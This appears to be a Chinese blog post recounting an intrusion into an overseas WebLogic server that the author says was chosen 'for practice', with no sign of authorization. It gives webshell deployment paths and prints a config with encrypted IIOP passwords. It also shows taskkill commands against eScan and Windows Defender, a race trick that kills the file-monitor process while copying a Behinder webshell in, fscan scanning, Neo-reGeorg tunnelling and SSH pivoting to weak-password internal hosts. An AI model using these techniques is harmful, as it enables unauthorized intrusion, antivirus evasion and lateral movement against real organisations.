0%

记一次曲折的weblogic上传webshell

前言

因上次攻防开局拿下weblogic主机权限,但由于默认写shell路径更改导致无法进一步利用,直到快结束时才找到正确路径写入shell,但为时已晚,只得匆匆拿下几台主机草草了事。最近刚好有空就找了台境外weblogic主机练手,过程稍微有点曲折,先后经历了尝试各种路径失败,中途主机还下线了,好在第二天又重新上线,再到绕过杀软文件监控上传webshell,总算是成功了,最后把过程记录一下。

正文

利用工具检测,发现存在weblogic iiop反序列化命令执行漏洞

开局是administrator权限,权限比较高,能干的事情应该挺多的

dir看一下文件

看到pcxx.vbs和pxx.vbs,发现更早就有人光顾过了

上传webshell,需要关注servers文件夹

在这里踩了第一个坑,AdminServer是weblogic默认存在的目录,一开始写shell都是往AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war\目录写,发现访问不到,目录下也没写进去的文件。尝试写了个txt进去,发现写入成功,但是访问不到。然后换了_WL_internal目录下其他几个文件夹尝试,发现都是一样的结果。

然后去搜了下weblogic写shell的文章,找到了几种路径,这里贴一下:

weblogic写shell路径1:写入console images目录

shell物理路径:

\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp

访问路径:

/console/framework/skins/wlsconsole/images/shell.jsp

这个shell不是写在AdminServer下,但是需要能访问到console,本环境无法访问console

weblogic写shell路径2:写入uddiexplorer目录

shell物理路径:

\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp

访问路径:

/uddiexplorer/shell.jsp

这里写入之后可以看到写入成功,但无法访问,具体原因后边会讲到

weblogic写shell路径3:写入应用安装目录

shell物理路径:

\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp

访问路径:

/项目名/shell.jsp

本环境中_WL_user文件如下:

仅一个目录访问状态时403,且写入shell后仍无法访问

无法访问shell原因

这个时候无法继续下去,只能先翻翻文件,先看weblogic配置文件

复制出来发现以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<server>
<name>AdminServer</name>
<idle-connection-timeout>1000</idle-connection-timeout>
<period-length>200000</period-length>
<idle-periods-until-timeout>20</idle-periods-until-timeout>
<dgc-idle-periods-until-timeout>21</dgc-idle-periods-until-timeout>
<ssl>
<name>AdminServer</name>
<hostname-verification-ignored>true</hostname-verification-ignored>
<listen-port>7002</listen-port>
</ssl>
<machine>RICL2019</machine>
<listen-address></listen-address>
<server-diagnostic-config>
<name>AdminServer</name>
<diagnostic-context-enabled>true</diagnostic-context-enabled>
</server-diagnostic-config>
</server>
<server>
<name>WLS_FORMS</name>
<complete-message-timeout>480</complete-message-timeout>
<idle-connection-timeout>480</idle-connection-timeout>
<idle-periods-until-timeout>8</idle-periods-until-timeout>
<dgc-idle-periods-until-timeout>9</dgc-idle-periods-until-timeout>
<machine>RICL2019</machine>
<listen-port>9001</listen-port>
<cluster>cluster_forms</cluster>
<web-server>
<name>WLS_FORMS</name>
<post-timeout-secs>120</post-timeout-secs>
</web-server>
<default-iiop-user>weblogic</default-iiop-user>
<default-iiop-password-encrypted>{AES}U6pDyBAYQYl/4v/HTHYrsLjz9+EMrhlsMYKF7SL498M=</default-iiop-password-encrypted>
<listen-address>RICL2019</listen-address>
<server-start>
<name>WLS_FORMS</name>
<arguments></arguments>
</server-start>
<jta-migratable-target>
<name>WLS_FORMS</name>
<user-preferred-server>WLS_FORMS</user-preferred-server>
<cluster>cluster_forms</cluster>
</jta-migratable-target>
</server>
<server>
<name>WLS_REPORTS</name>
<complete-message-timeout>480</complete-message-timeout>
<idle-connection-timeout>480</idle-connection-timeout>
<idle-periods-until-timeout>8</idle-periods-until-timeout>
<dgc-idle-periods-until-timeout>9</dgc-idle-periods-until-timeout>
<machine>RICL2019</machine>
<listen-port>9002</listen-port>
<cluster>cluster_reports</cluster>
<web-server>
<name>WLS_REPORTS</name>
<post-timeout-secs>120</post-timeout-secs>
</web-server>
<default-iiop-user>weblogic</default-iiop-user>
<default-iiop-password-encrypted>{AES}5wYyvsI3AlN8VNRYO8l9875budxba5tpNzyMdMI8uNg=</default-iiop-password-encrypted>
<listen-address>RICL2019</listen-address>
<server-start>
<name>WLS_REPORTS</name>
<arguments></arguments>
</server-start>
<jta-migratable-target>
<name>WLS_REPORTS</name>
<user-preferred-server>WLS_REPORTS</user-preferred-server>
<cluster>cluster_reports</cluster>
</jta-migratable-target>
</server>

看了配置之后明白为什么访问shell会失败了:服务器一共有3个server,AdminServerWLS_FORMSWLS_REPORTS,分别开放在7002、9001和9002端口,这里进入的是9001端口,shell应该写在WLS_FORMS下,上边写的shell几乎都是写在AdminServer下当然访问不到啦

绕过杀软文件监控上传shell

重新写shell到

C:\Oracle\Middleware\user_projects\domains\ClassicDomain\servers\WLS_FORMS\tmp\_WL_internal\bea_wls_internal\ogdxbc\war\目录,发现写后在文件中看不到,写入txt文件发现可以看到且能访问到

怀疑有杀软,tasklist查看一下进程

发现几个特殊进程,查一下是什么

1
2
3
4
5
6
7
8
9
# 以下几个是MicroWorld的eScan Antivirus进程
SafeConnect.ServiceHost.e 8700 Services 0 19,148 K
MWASER.EXE 8504 Services 0 532 K
MWAGENT.EXE 7216 Services 0 16,184 K
TRAYICOC.EXE 5396 Console 1 22,360 K
escanmon.exe 2996 Console 1 27,156 K

# 这个是Windows Defender进程
MsMpEng.exe 3036 Services 0 129,208 K

尝试用taskkill干掉这些进程

taskkill /t /f /pid 2996 /pid 5396 /pid 7216 /pid 8504 /pid 8700 /pid 3036

发现escanmon.exeMsMpEng.exe无法结束掉,应该是权限不够,且kill掉的进程会立即重启

这时想能不能把服务关掉试试,查看服务

复制出来搜索escan发现两个服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
SERVICE_NAME: eScan Monitor Service
DISPLAY_NAME: eScan Monitor Service
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(NOT_STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

SERVICE_NAME: eScan-trayicoc
DISPLAY_NAME: eScan Client-Updater
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

尝试停掉服务,结果失败了

查看一下服务详情

查看一下这个进程名

发现上边找杀软相关进程的时候还漏了这个进程,搜索发现是escan文件监控进程

尝试kill掉,发现会立即重启

如果kill掉文件监控进程,在其结束的这段时间内写入webshell,即使进程重启,但shell已经写入

先写入一个txt,内容是冰蝎马,成功

接下来在干掉文件监控进程的同时写入webshell即可

1
taskkill /t /f /pid 5012 && copy C:\Oracle\Middleware\user_projects\domains\ClassicDomain\servers\WLS_FORMS\tmp\_WL_internal\bea_wls_internal\ogdxbc\war\test2.txt C:\Oracle\Middleware\user_projects\domains\ClassicDomain\servers\WLS_FORMS\tmp\_WL_internal\bea_wls_internal\ogdxbc\war\test3.jsp && dir servers\WLS_FORMS\tmp\_WL_internal\bea_wls_internal\ogdxbc\war\

成功写入,也可正常访问

连接

ssh连接通过socks代理出的内网主机

后续上传了fscan,同样会被杀软删掉,那么在上传快完成的时候结束掉文件监控进程即可

等待fscan扫描结果,顺便用Neo-reGeorg搭建代理socks5隧道,需要用通用的jsp文件

fscan扫了一个C段,结果如下:

看到扫到了两台ssh弱口令,想起同样是上次攻防时内网扫到了ssh弱口令,但当时用各种方式连接都没成功,这次再遇到就学习一下连接基于socks代理出的内网主机

试了一下通过proxychains4去连接,发现连接超时

通过这篇文章发现可以通过以下命令连接

ssh -o ProxyCommand='nc -x socks5代理ip:代理port %h %p' root@192.168.0.203

发现提示nc: invalid option -- 'x'

单独试了以下发现kali中nc没有-x参数

在StackOverflow上发现有人提过这个问题,最高赞回答提到了可能是因为nc不是完整版,并提到可以用connect-proxy代替,试一下

安装:apt install connect-proxy

使用:

ssh -o ProxyCommand='connect-proxy -S socks5代理ip:代理port %h %p' root@192.168.0.203

成功连接,发现203和204为同一台主机,不再深入

后记

本文到这里就结束了,因为内网挺小的,也没多大的测试价值。本文还是以记录测试过程中遇到的问题为主,记录一下方便查阅

参考链接

https://www.shuzhiduo.com/A/gVdnpR2QJW/

https://ieevee.com/tech/2017/10/19/ssh-over-socks5.html

https://stackoverflow.com/questions/19161960/connect-with-ssh-through-a-proxy